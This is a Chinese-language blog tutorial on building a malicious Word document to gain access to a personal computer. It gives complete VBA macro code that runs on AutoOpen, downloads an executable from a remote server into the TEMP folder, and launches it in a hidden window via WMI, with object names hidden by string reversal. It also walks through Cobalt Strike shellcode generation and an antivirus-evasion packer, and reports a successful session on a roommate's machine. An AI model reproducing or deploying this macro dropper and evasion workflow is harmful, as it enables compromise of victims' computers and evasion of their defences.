zoukankan      html  css  js  c++  java
  • 权限获取之披荆斩棘

    office宏病毒+web漏洞挖掘

    权限获取之个人主机

    关于office宏

    宏是一个批量处理程序命令,正确地运用它可以提高工作效率。微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力。如完打开word文件同时要打开某个文件的功能,必须要自己编写一段称之为宏的脚本。具体做法是在“工具”菜单“宏”-“宏”弹出的对话框输入宏名,然后按“创建”按钮会打开visual basic编辑器,你就可以编程了,这个就是宏。学会它会有很多乐趣的。玩过街机模拟器的人肯定有体会,在格斗游戏中,用模拟器来录制宏,以实现一键放绝招。

    参考鸿鹄实验室微信公众号里面的钓鱼文档碎碎念(二 )

    攻击流程为:

    使用Word宏下载二进制文件,并在宿主机上执行的方法来获得一个cobaltstrike的会话

    执行的二进制文件需要进行简单的免杀,使用github上面的免杀工具 掩日https://github.com/1y0n/AV_Evasion_Tool

    先使用cobalt strike生成 x64 的 c 语言的shellcode

    设置监听器以及勾选x64选项

    生成并保存 test.c

    下载掩日3.0版本,并安装所需要的环境,注意安装路径不要有中文,以及文件夹的名字之间不要有空格,反正尽量少一些奇奇怪怪的路径

    安装tdm-gcchttps://github.com/jmeubank/tdm-gcc/releases/download/v9.2.0-tdm64-1/tdm64-gcc-9.2.0.exe

    test.c拖进去

    生成了 YR_test.c.exe

    虽然作者说不要将本工具生成的结果放到杀毒网站上去,但本机的火绒已经检测出了病毒,说明杀毒厂商已经关注该免杀方式,所以在线杀毒检测一下应该问题不大:https://www.virustotal.com/gui/

    还行,比之前的免杀好多了,web选手只能靠免杀工具曲线救国了。

    用室友的电脑试了试,CS成功上线,这是当时使用screenshots截图

    将二进制文件放到服务器上等待宏病毒下载,为了方便记住名字把其修改为 test.exe

    接着去准备编写宏代码,此处就直接参考鸿鹄实验室的代码了

    下载exe的部分代码如下,其中调用了 WinHttp.WinHttpRequest.5.1 下载exe文件,代码中的 payload 需要修改为自己的,exe文件下载到了受害机的temp目录下

    Dim payload As String
    Dim namePrefix As String
    Dim nameSuffix As String
    Dim zzz As String
    Dim dollop As Object
    Dim dstPath As String
    Dim savePath As String
    
    namePrefix = "AppLaunch-actual"
    nameSuffix = ".exe"
    payload = "http://192.168.41.4/AppLaunch.exe"
    
    zzz = payload
    
    Dim downloadf
    Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
    downloadf.Open "GET", zzz, False
    downloadf.setRequestHeader "Host", "192.168.41.4"
    downloadf.Send
    Set dollop = CreateObject(StrReverse("maertS.bdodA"))
    dollop.Type = 1
    dollop.Open
    dollop.Write downloadf.responseBody
    dstPath = Environ$("TEMP") & "" & namePrefix & nameSuffix
    savePath = dstPath
    dollop.savetofile savePath, 2
    

    执行exe文件的代码如下:

    这里使用的是环境变量来获取temp的位置并保存的,不同主机temp位置可能不同,可以使用set命令来查看。下载完成后,继续使用wmi来执行我们的二进制程序,不过与昨天的wmi方式稍微有些不同是使用的2vmic oor.:stmgmniw

    Const HIDDEN_WINDOW = 0
    
     strComputer = "."
     binary = dstPath
     strGetObject = StrReverse("2vmic	oor.\:stmgmniw")
     Set objWMIService = GetObject(strGetObject)
     Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
     Set objConfig = objStartup.SpawnInstance_
     objConfig.ShowWindow = HIDDEN_WINDOW
     Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
     objProcess.Create binary, Null, objConfig, intProcessID
    

    完整代码为(修改其为AutoOpen自动运行:

    Sub AutoOpen()
    Dim payload As String
    Dim namePrefix As String
    Dim nameSuffix As String
    Dim zzz As String
    Dim dollop As Object
    Dim dstPath As String
    Dim savePath As String
    
    namePrefix = "AppLaunch-actual"
    nameSuffix = ".exe"
    payload = "http://192.168.41.4/AppLaunch.exe"
    
    zzz = payload
    
    Dim downloadf
    Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
    downloadf.Open "GET", zzz, False
    downloadf.setRequestHeader "Host", "192.168.41.4"
    downloadf.Send
    Set dollop = CreateObject(StrReverse("maertS.bdodA"))
    dollop.Type = 1
    dollop.Open
    dollop.Write downloadf.responseBody
    dstPath = Environ$("TEMP") & "" & namePrefix & nameSuffix
    savePath = dstPath
    dollop.savetofile savePath, 2
            
    Const HIDDEN_WINDOW = 0
    
     strComputer = "."
     binary = dstPath
     strGetObject = StrReverse("2vmic	oor.\:stmgmniw")
     Set objWMIService = GetObject(strGetObject)
     Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
     Set objConfig = objStartup.SpawnInstance_
     objConfig.ShowWindow = HIDDEN_WINDOW
     Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
     objProcess.Create binary, Null, objConfig, intProcessID
    End Sub
    

    创建一个Word文档并添加上面的宏代码,详细添加VBA代码的过程可以参考:https://www.cnblogs.com/Cl0ud/p/13824021.html

    执行了一下下载文件部分代码发现写入文件出错,猜测是路径原因:

    将路径修改为C盘根目录

    dstPath = "C:" & namePrefix & nameSuffix
    

    依旧报错,猜测是权限原因,修改其为D盘:

    dstPath = "D:" & namePrefix & nameSuffix
    

    成功下载,配合之前的自动执行脚本

    cheer!上线成功

    将带有宏病毒的word文档丢到在线检测上面

    因为该文章已经发出来一段时间了,自然没有公众号上面过那么多杀软,不过也还行,等啥时候有空了再详细写写免杀的系列博客。

    权限获取之服务器

    困了困了,下次再写

    参考链接

  • 相关阅读:
    Using X++ code direct execute to sql statement
    SysMultiTableLookup class
    Using X++ Modify Table and class name From AOT Project
    identify multiple selected records
    简单实用SQL脚本(转)
    FTK应用程序编程接口(API)手册1
    《那些年啊,那些事——一个程序员的奋斗史》——28
    ftk的python binding
    《那些年啊,那些事——一个程序员的奋斗史》——27
    好久没来,CSDN都改版了
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/14126434.html
Copyright © 2011-2022 走看看